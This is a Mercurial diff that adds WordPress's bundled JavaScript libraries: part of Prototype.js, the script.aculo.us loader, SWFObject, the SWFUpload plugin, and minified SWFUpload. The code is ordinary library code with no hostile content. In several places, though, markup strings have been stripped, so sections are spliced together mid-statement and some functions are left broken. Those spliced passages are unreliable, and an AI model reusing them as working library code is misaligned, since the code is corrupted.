default: + return Form.Element.Serializers.textarea(element, value); + } + }, + + inputSelector: function(element, value) { + if (value === undefined) return element.checked ? element.value : null; + else element.checked = !!value; + }, + + textarea: function(element, value) { + if (value === undefined) return element.value; + else element.value = value; + }, + + select: function(element, index) { + if (index === undefined) + return this[element.type == 'select-one' ? + 'selectOne' : 'selectMany'](element); + else { + var opt, value, single = !Object.isArray(index); + for (var i = 0, length = element.length; i < length; i++) { + opt = element.options[i]; + value = this.optionValue(opt); + if (single) { + if (value == index) { + opt.selected = true; + return; + } + } + else opt.selected = index.include(value); + } + } + }, + + selectOne: function(element) { + var index = element.selectedIndex; + return index >= 0 ? this.optionValue(element.options[index]) : null; + }, + + selectMany: function(element) { + var values, length = element.length; + if (!length) return null; + + for (var i = 0, values = []; i < length; i++) { + var opt = element.options[i]; + if (opt.selected) values.push(this.optionValue(opt)); + } + return values; + }, + + optionValue: function(opt) { + // extend element because hasAttribute may not be native + return Element.extend(opt).hasAttribute('value') ? opt.value : opt.text; + } +}; + +/*--------------------------------------------------------------------------*/ + +Abstract.TimedObserver = Class.create(PeriodicalExecuter, { + initialize: function($super, element, frequency, callback) { + $super(callback, frequency); + this.element = $(element); + this.lastValue = this.getValue(); + }, + + execute: function() { + var value = this.getValue(); + if (Object.isString(this.lastValue) && Object.isString(value) ? + this.lastValue != value : String(this.lastValue) != String(value)) { + this.callback(this.element, value); + this.lastValue = value; + } + } +}); + +Form.Element.Observer = Class.create(Abstract.TimedObserver, { + getValue: function() { + return Form.Element.getValue(this.element); + } +}); + +Form.Observer = Class.create(Abstract.TimedObserver, { + getValue: function() { + return Form.serialize(this.element); + } +}); + +/*--------------------------------------------------------------------------*/ + +Abstract.EventObserver = Class.create({ + initialize: function(element, callback) { + this.element = $(element); + this.callback = callback; + + this.lastValue = this.getValue(); + if (this.element.tagName.toLowerCase() == 'form') + this.registerFormCallbacks(); + else + this.registerCallback(this.element); + }, + + onElementEvent: function() { + var value = this.getValue(); + if (this.lastValue != value) { + this.callback(this.element, value); + this.lastValue = value; + } + }, + + registerFormCallbacks: function() { + Form.getElements(this.element).each(this.registerCallback, this); + }, + + registerCallback: function(element) { + if (element.type) { + switch (element.type.toLowerCase()) { + case 'checkbox': + case 'radio': + Event.observe(element, 'click', this.onElementEvent.bind(this)); + break; + default: + Event.observe(element, 'change', this.onElementEvent.bind(this)); + break; + } + } + } +}); + +Form.Element.EventObserver = Class.create(Abstract.EventObserver, { + getValue: function() { + return Form.Element.getValue(this.element); + } +}); + +Form.EventObserver = Class.create(Abstract.EventObserver, { + getValue: function() { + return Form.serialize(this.element); + } +}); +if (!window.Event) var Event = { }; + +Object.extend(Event, { + KEY_BACKSPACE: 8, + KEY_TAB: 9, + KEY_RETURN: 13, + KEY_ESC: 27, + KEY_LEFT: 37, + KEY_UP: 38, + KEY_RIGHT: 39, + KEY_DOWN: 40, + KEY_DELETE: 46, + KEY_HOME: 36, + KEY_END: 35, + KEY_PAGEUP: 33, + KEY_PAGEDOWN: 34, + KEY_INSERT: 45, + + cache: { }, + + relatedTarget: function(event) { + var element; + switch(event.type) { + case 'mouseover': element = event.fromElement; break; + case 'mouseout': element = event.toElement; break; + default: return null; + } + return Element.extend(element); + } +}); + +Event.Methods = (function() { + var isButton; + + if (Prototype.Browser.IE) { + var buttonMap = { 0: 1, 1: 4, 2: 2 }; + isButton = function(event, code) { + return event.button == buttonMap[code]; + }; + + } else if (Prototype.Browser.WebKit) { + isButton = function(event, code) { + switch (code) { + case 0: return event.which == 1 && !event.metaKey; + case 1: return event.which == 1 && event.metaKey; + default: return false; + } + }; + + } else { + isButton = function(event, code) { + return event.which ? (event.which === code + 1) : (event.button === code); + }; + } + + return { + isLeftClick: function(event) { return isButton(event, 0) }, + isMiddleClick: function(event) { return isButton(event, 1) }, + isRightClick: function(event) { return isButton(event, 2) }, + + element: function(event) { + var node = Event.extend(event).target; + return Element.extend(node.nodeType == Node.TEXT_NODE ? node.parentNode : node); + }, + + findElement: function(event, expression) { + var element = Event.element(event); + return element.match(expression) ? element : element.up(expression); + }, + + pointer: function(event) { + return { + x: event.pageX || (event.clientX + + (document.documentElement.scrollLeft || document.body.scrollLeft)), + y: event.pageY || (event.clientY + + (document.documentElement.scrollTop || document.body.scrollTop)) + }; + }, + + pointerX: function(event) { return Event.pointer(event).x }, + pointerY: function(event) { return Event.pointer(event).y }, + + stop: function(event) { + Event.extend(event); + event.preventDefault(); + event.stopPropagation(); + event.stopped = true; + } + }; +})(); + +Event.extend = (function() { + var methods = Object.keys(Event.Methods).inject({ }, function(m, name) { + m[name] = Event.Methods[name].methodize(); + return m; + }); + + if (Prototype.Browser.IE) { + Object.extend(methods, { + stopPropagation: function() { this.cancelBubble = true }, + preventDefault: function() { this.returnValue = false }, + inspect: function() { return "[object Event]" } + }); + + return function(event) { + if (!event) return false; + if (event._extendedByPrototype) return event; + + event._extendedByPrototype = Prototype.emptyFunction; + var pointer = Event.pointer(event); + Object.extend(event, { + target: event.srcElement, + relatedTarget: Event.relatedTarget(event), + pageX: pointer.x, + pageY: pointer.y + }); + return Object.extend(event, methods); + }; + + } else { + Event.prototype = Event.prototype || document.createEvent("HTMLEvents").__proto__; + Object.extend(Event.prototype, methods); + return Prototype.K; + } +})(); + +Object.extend(Event, (function() { + var cache = Event.cache; + + function getEventID(element) { + if (element._eventID) return element._eventID; + arguments.callee.id = arguments.callee.id || 1; + return element._eventID = ++arguments.callee.id; + } + + function getDOMEventName(eventName) { + if (eventName && eventName.include(':')) return "dataavailable"; + return eventName; + } + + function getCacheForID(id) { + return cache[id] = cache[id] || { }; + } + + function getWrappersForEventName(id, eventName) { + var c = getCacheForID(id); + return c[eventName] = c[eventName] || []; + } + + function createWrapper(element, eventName, handler) { + var id = getEventID(element); + var c = getWrappersForEventName(id, eventName); + if (c.pluck("handler").include(handler)) return false; + + var wrapper = function(event) { + if (!Event || !Event.extend || + (event.eventName && event.eventName != eventName)) + return false; + + Event.extend(event); + handler.call(element, event) + }; + + wrapper.handler = handler; + c.push(wrapper); + return wrapper; + } + + function findWrapper(id, eventName, handler) { + var c = getWrappersForEventName(id, eventName); + return c.find(function(wrapper) { return wrapper.handler == handler }); + } + + function destroyWrapper(id, eventName, handler) { + var c = getCacheForID(id); + if (!c[eventName]) return false; + c[eventName] = c[eventName].without(findWrapper(id, eventName, handler)); + } + + function destroyCache() { + for (var id in cache) + for (var eventName in cache[id]) + cache[id][eventName] = null; + } + + if (window.attachEvent) { + window.attachEvent("onunload", destroyCache); + } + + return { + observe: function(element, eventName, handler) { + element = $(element); + var name = getDOMEventName(eventName); + + var wrapper = createWrapper(element, eventName, handler); + if (!wrapper) return element; + + if (element.addEventListener) { + element.addEventListener(name, wrapper, false); + } else { + element.attachEvent("on" + name, wrapper); + } + + return element; + }, + + stopObserving: function(element, eventName, handler) { + element = $(element); + var id = getEventID(element), name = getDOMEventName(eventName); + + if (!handler && eventName) { + getWrappersForEventName(id, eventName).each(function(wrapper) { + element.stopObserving(eventName, wrapper.handler); + }); + return element; + + } else if (!eventName) { + Object.keys(getCacheForID(id)).each(function(eventName) { + element.stopObserving(eventName); + }); + return element; + } + + var wrapper = findWrapper(id, eventName, handler); + if (!wrapper) return element; + + if (element.removeEventListener) { + element.removeEventListener(name, wrapper, false); + } else { + element.detachEvent("on" + name, wrapper); + } + + destroyWrapper(id, eventName, handler); + + return element; + }, + + fire: function(element, eventName, memo) { + element = $(element); + if (element == document && document.createEvent && !element.dispatchEvent) + element = document.documentElement; + + if (document.createEvent) { + var event = document.createEvent("HTMLEvents"); + event.initEvent("dataavailable", true, true); + } else { + var event = document.createEventObject(); + event.eventType = "ondataavailable"; + } + + event.eventName = eventName; + event.memo = memo || { }; + + if (document.createEvent) { + element.dispatchEvent(event); + } else { + element.fireEvent(event.eventType, event); + } + + return event; + } + }; +})()); + +Object.extend(Event, Event.Methods); + +Element.addMethods({ + fire: Event.fire, + observe: Event.observe, + stopObserving: Event.stopObserving +}); + +Object.extend(document, { + fire: Element.Methods.fire.methodize(), + observe: Element.Methods.observe.methodize(), + stopObserving: Element.Methods.stopObserving.methodize() +}); + +(function() { + /* Support for the DOMContentLoaded event is based on work by Dan Webb, + Matthias Miller, Dean Edwards and John Resig. */ + + var timer, fired = false; + + function fireContentLoadedEvent() { + if (fired) return; + if (timer) window.clearInterval(timer); + document.fire("dom:loaded"); + fired = true; + } + + if (document.addEventListener) { + if (Prototype.Browser.WebKit) { + timer = window.setInterval(function() { + if (/loaded|complete/.test(document.readyState)) + fireContentLoadedEvent(); + }, 0); + + Event.observe(window, "load", fireContentLoadedEvent); + + } else { + document.addEventListener("DOMContentLoaded", + fireContentLoadedEvent, false); + } + + } else { + document.write("'); + }, + REQUIRED_PROTOTYPE: '1.6', + load: function() { + function convertVersionString(versionString){ + var r = versionString.split('.'); + return parseInt(r[0])*100000 + parseInt(r[1])*1000 + parseInt(r[2]); + } + + if((typeof Prototype=='undefined') || + (typeof Element == 'undefined') || + (typeof Element.Methods=='undefined') || + (convertVersionString(Prototype.Version) < + convertVersionString(Scriptaculous.REQUIRED_PROTOTYPE))) + throw("script.aculo.us requires the Prototype JavaScript framework >= " + + Scriptaculous.REQUIRED_PROTOTYPE); + + $A(document.getElementsByTagName("script")).findAll( function(s) { + return (s.src && s.src.match(/scriptaculous\.js(\?.*)?$/)) + }).each( function(s) { + var path = s.src.replace(/scriptaculous\.js(\?.*)?$/,''); + var includes = s.src.match(/\?.*load=([a-z,]*)/); + if ( includes ) + includes[1].split(',').each( + function(include) { Scriptaculous.require(path+include+'.js') }); + }); + } +} + +Scriptaculous.load(); diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/swfobject.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/swfobject.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,5 @@ +/* SWFObject v2.1 + Copyright (c) 2007-2008 Geoff Stearns, Michael Williams, and Bobby van der Sluis + This software is released under the MIT License +*/ +var swfobject=function(){var b="undefined",Q="object",n="Shockwave Flash",p="ShockwaveFlash.ShockwaveFlash",P="application/x-shockwave-flash",m="SWFObjectExprInst",j=window,K=document,T=navigator,o=[],N=[],i=[],d=[],J,Z=null,M=null,l=null,e=false,A=false;var h=function(){var v=typeof K.getElementById!=b&&typeof K.getElementsByTagName!=b&&typeof K.createElement!=b,AC=[0,0,0],x=null;if(typeof T.plugins!=b&&typeof T.plugins[n]==Q){x=T.plugins[n].description;if(x&&!(typeof T.mimeTypes!=b&&T.mimeTypes[P]&&!T.mimeTypes[P].enabledPlugin)){x=x.replace(/^.*\s+(\S+\s+\S+$)/,"$1");AC[0]=parseInt(x.replace(/^(.*)\..*$/,"$1"),10);AC[1]=parseInt(x.replace(/^.*\.(.*)\s.*$/,"$1"),10);AC[2]=/r/.test(x)?parseInt(x.replace(/^.*r(.*)$/,"$1"),10):0}}else{if(typeof j.ActiveXObject!=b){var y=null,AB=false;try{y=new ActiveXObject(p+".7")}catch(t){try{y=new ActiveXObject(p+".6");AC=[6,0,21];y.AllowScriptAccess="always"}catch(t){if(AC[0]==6){AB=true}}if(!AB){try{y=new ActiveXObject(p)}catch(t){}}}if(!AB&&y){try{x=y.GetVariable("$version");if(x){x=x.split(" ")[1].split(",");AC=[parseInt(x[0],10),parseInt(x[1],10),parseInt(x[2],10)]}}catch(t){}}}}var AD=T.userAgent.toLowerCase(),r=T.platform.toLowerCase(),AA=/webkit/.test(AD)?parseFloat(AD.replace(/^.*webkit\/(\d+(\.\d+)?).*$/,"$1")):false,q=false,z=r?/win/.test(r):/win/.test(AD),w=r?/mac/.test(r):/mac/.test(AD);/*@cc_on q=true;@if(@_win32)z=true;@elif(@_mac)w=true;@end@*/return{w3cdom:v,pv:AC,webkit:AA,ie:q,win:z,mac:w}}();var L=function(){if(!h.w3cdom){return }f(H);if(h.ie&&h.win){try{K.write(" + + Notes: + You must provide set minimum_flash_version setting to "8" if you are using SWFUpload for Flash Player 8. + The swfuploadLoadFailed event is only fired if the minimum version of Flash Player is not met. Other issues such as missing SWF files, browser bugs + or corrupt Flash Player installations will not trigger this event. + The swfuploadPreLoad event is fired as soon as the minimum version of Flash Player is found. It does not wait for SWFUpload to load and can + be used to prepare the SWFUploadUI and hide alternate content. + swfobject's onDomReady event is cross-browser safe but will default to the window.onload event when DOMReady is not supported by the browser. + Early DOM Loading is supported in major modern browsers but cannot be guaranteed for every browser ever made. +*/ + + +// SWFObject v2.1 must be loaded + +var SWFUpload; +if (typeof(SWFUpload) === "function") { + SWFUpload.onload = function () {}; + + swfobject.addDomLoadEvent(function () { + if (typeof(SWFUpload.onload) === "function") { + SWFUpload.onload.call(window); + } + }); + + SWFUpload.prototype.initSettings = (function (oldInitSettings) { + return function () { + if (typeof(oldInitSettings) === "function") { + oldInitSettings.call(this); + } + + this.ensureDefault = function (settingName, defaultValue) { + this.settings[settingName] = (this.settings[settingName] == undefined) ? defaultValue : this.settings[settingName]; + }; + + this.ensureDefault("minimum_flash_version", "9.0.28"); + this.ensureDefault("swfupload_pre_load_handler", null); + this.ensureDefault("swfupload_load_failed_handler", null); + + delete this.ensureDefault; + + }; + })(SWFUpload.prototype.initSettings); + + + SWFUpload.prototype.loadFlash = function (oldLoadFlash) { + return function () { + var hasFlash = swfobject.hasFlashPlayerVersion(this.settings.minimum_flash_version); + + if (hasFlash) { + this.queueEvent("swfupload_pre_load_handler"); + if (typeof(oldLoadFlash) === "function") { + oldLoadFlash.call(this); + } + } else { + this.queueEvent("swfupload_load_failed_handler"); + } + }; + + }(SWFUpload.prototype.loadFlash); + + SWFUpload.prototype.displayDebugInfo = function (oldDisplayDebugInfo) { + return function () { + if (typeof(oldDisplayDebugInfo) === "function") { + oldDisplayDebugInfo.call(this); + } + + this.debug( + [ + "SWFUpload.SWFObject Plugin settings:", "\n", + "\t", "minimum_flash_version: ", this.settings.minimum_flash_version, "\n", + "\t", "swfupload_pre_load_handler assigned: ", (typeof(this.settings.swfupload_pre_load_handler) === "function").toString(), "\n", + "\t", "swfupload_load_failed_handler assigned: ", (typeof(this.settings.swfupload_load_failed_handler) === "function").toString(), "\n", + ].join("") + ); + }; + }(SWFUpload.prototype.displayDebugInfo); +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/swfupload/swfupload-all.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/swfupload/swfupload-all.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,8 @@ +// swfupload +var SWFUpload;if(SWFUpload==undefined){SWFUpload=function(a){this.initSWFUpload(a)}}SWFUpload.prototype.initSWFUpload=function(b){try{this.customSettings={};this.settings=b;this.eventQueue=[];this.movieName="SWFUpload_"+SWFUpload.movieCount++;this.movieElement=null;SWFUpload.instances[this.movieName]=this;this.initSettings();this.loadFlash()}catch(a){delete SWFUpload.instances[this.movieName];throw a}};SWFUpload.instances={};SWFUpload.movieCount=0;SWFUpload.version="2.2.0 2009-03-25";SWFUpload.QUEUE_ERROR={QUEUE_LIMIT_EXCEEDED:-100,FILE_EXCEEDS_SIZE_LIMIT:-110,ZERO_BYTE_FILE:-120,INVALID_FILETYPE:-130};SWFUpload.UPLOAD_ERROR={HTTP_ERROR:-200,MISSING_UPLOAD_URL:-210,IO_ERROR:-220,SECURITY_ERROR:-230,UPLOAD_LIMIT_EXCEEDED:-240,UPLOAD_FAILED:-250,SPECIFIED_FILE_ID_NOT_FOUND:-260,FILE_VALIDATION_FAILED:-270,FILE_CANCELLED:-280,UPLOAD_STOPPED:-290};SWFUpload.FILE_STATUS={QUEUED:-1,IN_PROGRESS:-2,ERROR:-3,COMPLETE:-4,CANCELLED:-5};SWFUpload.BUTTON_ACTION={SELECT_FILE:-100,SELECT_FILES:-110,START_UPLOAD:-120};SWFUpload.CURSOR={ARROW:-1,HAND:-2};SWFUpload.WINDOW_MODE={WINDOW:"window",TRANSPARENT:"transparent",OPAQUE:"opaque"};SWFUpload.completeURL=function(a){if(typeof(a)!=="string"||a.match(/^https?:\/\//i)||a.match(/^\//)){return a}var c,b;c=window.location.protocol+"//"+window.location.hostname+(window.location.port?":"+window.location.port:"");b=window.location.pathname.lastIndexOf("/");if(b<=0){path="/"}else{path=window.location.pathname.substr(0,b)+"/"}return path+a};SWFUpload.prototype.initSettings=function(){this.ensureDefault=function(b,a){this.settings[b]=(this.settings[b]==undefined)?a:this.settings[b]};this.ensureDefault("upload_url","");this.ensureDefault("preserve_relative_urls",false);this.ensureDefault("file_post_name","Filedata");this.ensureDefault("post_params",{});this.ensureDefault("use_query_string",false);this.ensureDefault("requeue_on_error",false);this.ensureDefault("http_success",[]);this.ensureDefault("assume_success_timeout",0);this.ensureDefault("file_types","*.*");this.ensureDefault("file_types_description","All Files");this.ensureDefault("file_size_limit",0);this.ensureDefault("file_upload_limit",0);this.ensureDefault("file_queue_limit",0);this.ensureDefault("flash_url","swfupload.swf");this.ensureDefault("prevent_swf_caching",true);this.ensureDefault("button_image_url","");this.ensureDefault("button_width",1);this.ensureDefault("button_height",1);this.ensureDefault("button_text","");this.ensureDefault("button_text_style","color: #000000; font-size: 16pt;");this.ensureDefault("button_text_top_padding",0);this.ensureDefault("button_text_left_padding",0);this.ensureDefault("button_action",SWFUpload.BUTTON_ACTION.SELECT_FILES);this.ensureDefault("button_disabled",false);this.ensureDefault("button_placeholder_id","");this.ensureDefault("button_placeholder",null);this.ensureDefault("button_cursor",SWFUpload.CURSOR.ARROW);this.ensureDefault("button_window_mode",SWFUpload.WINDOW_MODE.WINDOW);this.ensureDefault("debug",false);this.settings.debug_enabled=this.settings.debug;this.settings.return_upload_start_handler=this.returnUploadStart;this.ensureDefault("swfupload_loaded_handler",null);this.ensureDefault("file_dialog_start_handler",null);this.ensureDefault("file_queued_handler",null);this.ensureDefault("file_queue_error_handler",null);this.ensureDefault("file_dialog_complete_handler",null);this.ensureDefault("upload_start_handler",null);this.ensureDefault("upload_progress_handler",null);this.ensureDefault("upload_error_handler",null);this.ensureDefault("upload_success_handler",null);this.ensureDefault("upload_complete_handler",null);this.ensureDefault("debug_handler",this.debugMessage);this.ensureDefault("custom_settings",{});this.customSettings=this.settings.custom_settings;if(!!this.settings.prevent_swf_caching){this.settings.flash_url=this.settings.flash_url+(this.settings.flash_url.indexOf("?")<0?"?":"&")+"preventswfcaching="+new Date().getTime()}if(!this.settings.preserve_relative_urls){this.settings.upload_url=SWFUpload.completeURL(this.settings.upload_url);this.settings.button_image_url=SWFUpload.completeURL(this.settings.button_image_url)}delete this.ensureDefault};SWFUpload.prototype.loadFlash=function(){var a,b;if(document.getElementById(this.movieName)!==null){throw"ID "+this.movieName+" is already in use. The Flash Object could not be added"}a=document.getElementById(this.settings.button_placeholder_id)||this.settings.button_placeholder;if(a==undefined){throw"Could not find the placeholder element: "+this.settings.button_placeholder_id}b=document.createElement("div");b.innerHTML=this.getFlashHTML();a.parentNode.replaceChild(b.firstChild,a);if(window[this.movieName]==undefined){window[this.movieName]=this.getMovieElement()}};SWFUpload.prototype.getFlashHTML=function(){return['','','','','','','',""].join("")};SWFUpload.prototype.getFlashVars=function(){var b=this.buildParamString(),a=this.settings.http_success.join(",");return["movieName=",encodeURIComponent(this.movieName),"&uploadURL=",encodeURIComponent(this.settings.upload_url),"&useQueryString=",encodeURIComponent(this.settings.use_query_string),"&requeueOnError=",encodeURIComponent(this.settings.requeue_on_error),"&httpSuccess=",encodeURIComponent(a),"&assumeSuccessTimeout=",encodeURIComponent(this.settings.assume_success_timeout),"&params=",encodeURIComponent(b),"&filePostName=",encodeURIComponent(this.settings.file_post_name),"&fileTypes=",encodeURIComponent(this.settings.file_types),"&fileTypesDescription=",encodeURIComponent(this.settings.file_types_description),"&fileSizeLimit=",encodeURIComponent(this.settings.file_size_limit),"&fileUploadLimit=",encodeURIComponent(this.settings.file_upload_limit),"&fileQueueLimit=",encodeURIComponent(this.settings.file_queue_limit),"&debugEnabled=",encodeURIComponent(this.settings.debug_enabled),"&buttonImageURL=",encodeURIComponent(this.settings.button_image_url),"&buttonWidth=",encodeURIComponent(this.settings.button_width),"&buttonHeight=",encodeURIComponent(this.settings.button_height),"&buttonText=",encodeURIComponent(this.settings.button_text),"&buttonTextTopPadding=",encodeURIComponent(this.settings.button_text_top_padding),"&buttonTextLeftPadding=",encodeURIComponent(this.settings.button_text_left_padding),"&buttonTextStyle=",encodeURIComponent(this.settings.button_text_style),"&buttonAction=",encodeURIComponent(this.settings.button_action),"&buttonDisabled=",encodeURIComponent(this.settings.button_disabled),"&buttonCursor=",encodeURIComponent(this.settings.button_cursor)].join("")};SWFUpload.prototype.getMovieElement=function(){if(this.movieElement==undefined){this.movieElement=document.getElementById(this.movieName)}if(this.movieElement===null){throw"Could not find Flash element"}return this.movieElement};SWFUpload.prototype.buildParamString=function(){var c=this.settings.post_params,b=[],a;if(typeof(c)==="object"){for(a in c){if(c.hasOwnProperty(a)){b.push(encodeURIComponent(a.toString())+"="+encodeURIComponent(c[a].toString()))}}}return b.join("&")};SWFUpload.prototype.destroy=function(){try{this.cancelUpload(null,false);var a=null,c;a=this.getMovieElement();if(a&&typeof(a.CallFunction)==="unknown"){for(c in a){try{if(typeof(a[c])==="function"){a[c]=null}}catch(e){}}try{a.parentNode.removeChild(a)}catch(b){}}window[this.movieName]=null;SWFUpload.instances[this.movieName]=null;delete SWFUpload.instances[this.movieName];this.movieElement=null;this.settings=null;this.customSettings=null;this.eventQueue=null;this.movieName=null;return true}catch(d){return false}};SWFUpload.prototype.addSetting=function(b,c,a){if(c==undefined){return(this.settings[b]=a)}else{return(this.settings[b]=c)}};SWFUpload.prototype.getSetting=function(a){if(this.settings[a]!=undefined){return this.settings[a]}return""};SWFUpload.prototype.callFlash=function(functionName,argumentArray){argumentArray=argumentArray||[];var movieElement=this.getMovieElement(),returnValue,returnString;try{returnString=movieElement.CallFunction(''+__flash__argumentsToXML(argumentArray,0)+"");returnValue=eval(returnString)}catch(ex){throw"Call to "+functionName+" failed"}if(returnValue!=undefined&&typeof returnValue.post==="object"){returnValue=this.unescapeFilePostParams(returnValue)}return returnValue};SWFUpload.prototype.selectFile=function(){this.callFlash("SelectFile")};SWFUpload.prototype.selectFiles=function(){this.callFlash("SelectFiles")};SWFUpload.prototype.startUpload=function(a){this.callFlash("StartUpload",[a])};SWFUpload.prototype.cancelUpload=function(a,b){if(b!==false){b=true}this.callFlash("CancelUpload",[a,b])};SWFUpload.prototype.stopUpload=function(){this.callFlash("StopUpload")};SWFUpload.prototype.getStats=function(){return this.callFlash("GetStats")};SWFUpload.prototype.setStats=function(a){this.callFlash("SetStats",[a])};SWFUpload.prototype.getFile=function(a){if(typeof(a)==="number"){return this.callFlash("GetFileByIndex",[a])}else{return this.callFlash("GetFile",[a])}};SWFUpload.prototype.addFileParam=function(a,b,c){return this.callFlash("AddFileParam",[a,b,c])};SWFUpload.prototype.removeFileParam=function(a,b){this.callFlash("RemoveFileParam",[a,b])};SWFUpload.prototype.setUploadURL=function(a){this.settings.upload_url=a.toString();this.callFlash("SetUploadURL",[a])};SWFUpload.prototype.setPostParams=function(a){this.settings.post_params=a;this.callFlash("SetPostParams",[a])};SWFUpload.prototype.addPostParam=function(a,b){this.settings.post_params[a]=b;this.callFlash("SetPostParams",[this.settings.post_params])};SWFUpload.prototype.removePostParam=function(a){delete this.settings.post_params[a];this.callFlash("SetPostParams",[this.settings.post_params])};SWFUpload.prototype.setFileTypes=function(a,b){this.settings.file_types=a;this.settings.file_types_description=b;this.callFlash("SetFileTypes",[a,b])};SWFUpload.prototype.setFileSizeLimit=function(a){this.settings.file_size_limit=a;this.callFlash("SetFileSizeLimit",[a])};SWFUpload.prototype.setFileUploadLimit=function(a){this.settings.file_upload_limit=a;this.callFlash("SetFileUploadLimit",[a])};SWFUpload.prototype.setFileQueueLimit=function(a){this.settings.file_queue_limit=a;this.callFlash("SetFileQueueLimit",[a])};SWFUpload.prototype.setFilePostName=function(a){this.settings.file_post_name=a;this.callFlash("SetFilePostName",[a])};SWFUpload.prototype.setUseQueryString=function(a){this.settings.use_query_string=a;this.callFlash("SetUseQueryString",[a])};SWFUpload.prototype.setRequeueOnError=function(a){this.settings.requeue_on_error=a;this.callFlash("SetRequeueOnError",[a])};SWFUpload.prototype.setHTTPSuccess=function(a){if(typeof a==="string"){a=a.replace(" ","").split(",")}this.settings.http_success=a;this.callFlash("SetHTTPSuccess",[a])};SWFUpload.prototype.setAssumeSuccessTimeout=function(a){this.settings.assume_success_timeout=a;this.callFlash("SetAssumeSuccessTimeout",[a])};SWFUpload.prototype.setDebugEnabled=function(a){this.settings.debug_enabled=a;this.callFlash("SetDebugEnabled",[a])};SWFUpload.prototype.setButtonImageURL=function(a){if(a==undefined){a=""}this.settings.button_image_url=a;this.callFlash("SetButtonImageURL",[a])};SWFUpload.prototype.setButtonDimensions=function(c,a){this.settings.button_width=c;this.settings.button_height=a;var b=this.getMovieElement();if(b!=undefined){b.style.width=c+"px";b.style.height=a+"px"}this.callFlash("SetButtonDimensions",[c,a])};SWFUpload.prototype.setButtonText=function(a){this.settings.button_text=a;this.callFlash("SetButtonText",[a])};SWFUpload.prototype.setButtonTextPadding=function(b,a){this.settings.button_text_top_padding=a;this.settings.button_text_left_padding=b;this.callFlash("SetButtonTextPadding",[b,a])};SWFUpload.prototype.setButtonTextStyle=function(a){this.settings.button_text_style=a;this.callFlash("SetButtonTextStyle",[a])};SWFUpload.prototype.setButtonDisabled=function(a){this.settings.button_disabled=a;this.callFlash("SetButtonDisabled",[a])};SWFUpload.prototype.setButtonAction=function(a){this.settings.button_action=a;this.callFlash("SetButtonAction",[a])};SWFUpload.prototype.setButtonCursor=function(a){this.settings.button_cursor=a;this.callFlash("SetButtonCursor",[a])};SWFUpload.prototype.queueEvent=function(b,c){if(c==undefined){c=[]}else{if(!(c instanceof Array)){c=[c]}}var a=this;if(typeof this.settings[b]==="function"){this.eventQueue.push(function(){this.settings[b].apply(this,c)});setTimeout(function(){a.executeNextEvent()},0)}else{if(this.settings[b]!==null){throw"Event handler "+b+" is unknown or is not a function"}}};SWFUpload.prototype.executeNextEvent=function(){var a=this.eventQueue?this.eventQueue.shift():null;if(typeof(a)==="function"){a.apply(this)}};SWFUpload.prototype.unescapeFilePostParams=function(c){var e=/[$]([0-9a-f]{4})/i,f={},d,a,b;if(c!=undefined){for(a in c.post){if(c.post.hasOwnProperty(a)){d=a;while((b=e.exec(d))!==null){d=d.replace(b[0],String.fromCharCode(parseInt("0x"+b[1],16)))}f[d]=c.post[a]}}c.post=f}return c};SWFUpload.prototype.testExternalInterface=function(){try{return this.callFlash("TestExternalInterface")}catch(a){return false}};SWFUpload.prototype.flashReady=function(){var a=this.getMovieElement();if(!a){this.debug("Flash called back ready but the flash movie can't be found.");return}this.cleanUp(a);this.queueEvent("swfupload_loaded_handler")};SWFUpload.prototype.cleanUp=function(a){var c;try{if(this.movieElement&&typeof(a.CallFunction)==="unknown"){this.debug("Removing Flash functions hooks (this should only run in IE and should prevent memory leaks)");for(c in a){try{if(typeof(a[c])==="function"){a[c]=null}}catch(b){}}}}catch(d){}window.__flash__removeCallback=function(e,f){try{if(e){e[f]=null}}catch(g){}}};SWFUpload.prototype.fileDialogStart=function(){this.queueEvent("file_dialog_start_handler")};SWFUpload.prototype.fileQueued=function(a){a=this.unescapeFilePostParams(a);this.queueEvent("file_queued_handler",a)};SWFUpload.prototype.fileQueueError=function(a,c,b){a=this.unescapeFilePostParams(a);this.queueEvent("file_queue_error_handler",[a,c,b])};SWFUpload.prototype.fileDialogComplete=function(b,c,a){this.queueEvent("file_dialog_complete_handler",[b,c,a])};SWFUpload.prototype.uploadStart=function(a){a=this.unescapeFilePostParams(a);this.queueEvent("return_upload_start_handler",a)};SWFUpload.prototype.returnUploadStart=function(a){var b;if(typeof this.settings.upload_start_handler==="function"){a=this.unescapeFilePostParams(a);b=this.settings.upload_start_handler.call(this,a)}else{if(this.settings.upload_start_handler!=undefined){throw"upload_start_handler must be a function"}}if(b===undefined){b=true}b=!!b;this.callFlash("ReturnUploadStart",[b])};SWFUpload.prototype.uploadProgress=function(a,c,b){a=this.unescapeFilePostParams(a);this.queueEvent("upload_progress_handler",[a,c,b])};SWFUpload.prototype.uploadError=function(a,c,b){a=this.unescapeFilePostParams(a);this.queueEvent("upload_error_handler",[a,c,b])};SWFUpload.prototype.uploadSuccess=function(b,a,c){b=this.unescapeFilePostParams(b);this.queueEvent("upload_success_handler",[b,a,c])};SWFUpload.prototype.uploadComplete=function(a){a=this.unescapeFilePostParams(a);this.queueEvent("upload_complete_handler",a)};SWFUpload.prototype.debug=function(a){this.queueEvent("debug_handler",a)}; +// swfupload.queue +var SWFUpload;if(typeof(SWFUpload)==="function"){SWFUpload.queue={};SWFUpload.prototype.initSettings=(function(a){return function(){if(typeof(a)==="function"){a.call(this)}this.queueSettings={};this.queueSettings.queue_cancelled_flag=false;this.queueSettings.queue_upload_count=0;this.queueSettings.user_upload_complete_handler=this.settings.upload_complete_handler;this.queueSettings.user_upload_start_handler=this.settings.upload_start_handler;this.settings.upload_complete_handler=SWFUpload.queue.uploadCompleteHandler;this.settings.upload_start_handler=SWFUpload.queue.uploadStartHandler;this.settings.queue_complete_handler=this.settings.queue_complete_handler||null}})(SWFUpload.prototype.initSettings);SWFUpload.prototype.startUpload=function(a){this.queueSettings.queue_cancelled_flag=false;this.callFlash("StartUpload",[a])};SWFUpload.prototype.cancelQueue=function(){this.queueSettings.queue_cancelled_flag=true;this.stopUpload();var a=this.getStats();while(a.files_queued>0){this.cancelUpload();a=this.getStats()}};SWFUpload.queue.uploadStartHandler=function(a){var 